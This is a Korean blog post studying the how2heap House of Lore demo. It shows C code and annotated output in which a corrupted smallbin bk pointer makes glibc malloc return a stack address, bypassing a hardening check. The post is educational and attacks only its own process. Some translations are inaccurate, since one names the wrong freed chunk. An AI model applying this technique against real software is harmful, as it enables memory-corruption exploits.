/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;
       [ ... ]
*/

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"


int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  printf("\nWelcome to the House of Lore\n");
  printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

  printf("Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  printf("Allocated the first small chunk on the heap at %p\n", victim);

  // victim-8 because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  printf("stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  printf("stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  printf("Create a fake chunk on the stack");
  printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  printf("Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  printf("Allocated the large chunk on the heap at %p\n", p5);


  printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  printf("\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  printf("victim->fwd: %p\n", (void *)victim[0]);
  printf("victim->bk: %p\n\n", (void *)victim[1]);

  printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  printf("This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  printf("The victim chunk has been sorted and its fwd and bk pointers updated\n");
  printf("victim->fwd: %p\n", (void *)victim[0]);
  printf("victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  printf("Now allocating a chunk with size equal to the first one freed\n");
  printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  printf("p4 = malloc(100)\n");

  printf("\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  printf("\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
}





  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

Welcome to the House of Lore


This is a revisited version that bypass also the hardening check introduced by glibc malloc

This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23


Allocating the victim chunk

  intptr_t *victim = malloc(100);

Allocated the first small chunk on the heap at 0xbeb420(victim)

  // victim-8 because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

stack_buffer_1 at 0x7ffc687eb830(stack_buffer_1)

stack_buffer_2 at 0x7ffc687eb810(stack_buffer_2)


Create a fake chunk on the stackSet the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list

가짜 청크를 stackSet에 만들고 fdpointer를 victim_chunk로 향하게 한다. smallbin corruptedin check를 통과하기 위해서

...(번역기: 스택에 가짜 덩어리를 생성합니다. 작은 bin corruptedin의 체크를 바이 패스하기 위해 victim_chunk에 대한 fwd 포인터를 설정합니다. 마지막 빈칸에 스택 주소를 두는 마지막 malloc을 찾습니다.)

  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stack

bk포인터를 stack_buffer_2로 stackbuffer2의 fd포인터를 stackbuffer1로 세팅합니다. 스택에 있는 fake청크의 포인터를 반환할 마지막 malloc에서의 small bin check를 통과하기 위해서입니다.

  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

Allocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()

또다른 커다란 청크를 할당합니다. top chunk가 small 과 free중에 합병되는것을 피하기 위해서

  void *p5 = malloc(1000);

Allocated the large chunk on the heap at 0xbeb490(p5)

  free((void*)victim);

Freeing the chunk 0xbeb420, it will be inserted in the unsorted bin

p5를 free하면 이것은 unsorted bin으로 들어갈겁니다.


In the unsorted bin the victim's fwd and bk pointers are nil

victim->fwd: (nil) (victim[0])

victim->bk: (nil)    (victim[1])


Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin

이제 unsortedbin과 smallbin에 의해 다뤄지지 않는 malloc을 수행합니다.

This means that the chunk 0xbeb420(victim) will be inserted in front of the SmallBin

이것은 victim 청크가 smallobin앞에 들어갈것을 의미합니다.


  void *p2 = malloc(1200);

The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0xbeb880(p2)

unsorted bin과 small bin에 의해 다뤄지지 않는 청크는 0xbeb880에 할당됩니다.


The victim chunk has been sorted and its fwd and bk pointers updated

victim->fwd: 0x7fe63aa77bb8(victim[0])

victim->bk: 0x7fe63aa77bb8(victim[1])


Now emulating a vulnerability that can overwrite the victim->bk pointer

이제 victim->bk를 overwrite하는 취약점을 에뮬레이팅합니다.


//--vulnerability!--

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

Now allocating a chunk with size equal to the first one freed

이제 첫번째로 free된 청크와 동일한 사이즈의 chunk를 할당합니다.

  void *p3 = malloc(100);

This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer

이것은 overwritten 된 victim chunk를 반환하고 bin->bk를 삽입된 victim->bk로 설정합니다.


This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk

마지막 malloc은 glibc malloc을 속여야합니다. bin->bk에 삽입된 포지션에 있는 chunk를 반환하기 위해

void *p4 = malloc(100);

p4 = malloc(100)

The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7fe63aa77bb8(stack_buffer_2[2])

stack_buffer_2의 fd포인터는 파뀌어집니다. 마지막 malloc이후에


p4 is 0x7ffc687eb840 and should be on the stack!

'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap]malloc_playground  (0) 2017.01.24
[how2heap정리]poison_null_byte  (0) 2017.01.20
[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14
[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07

+ Recent posts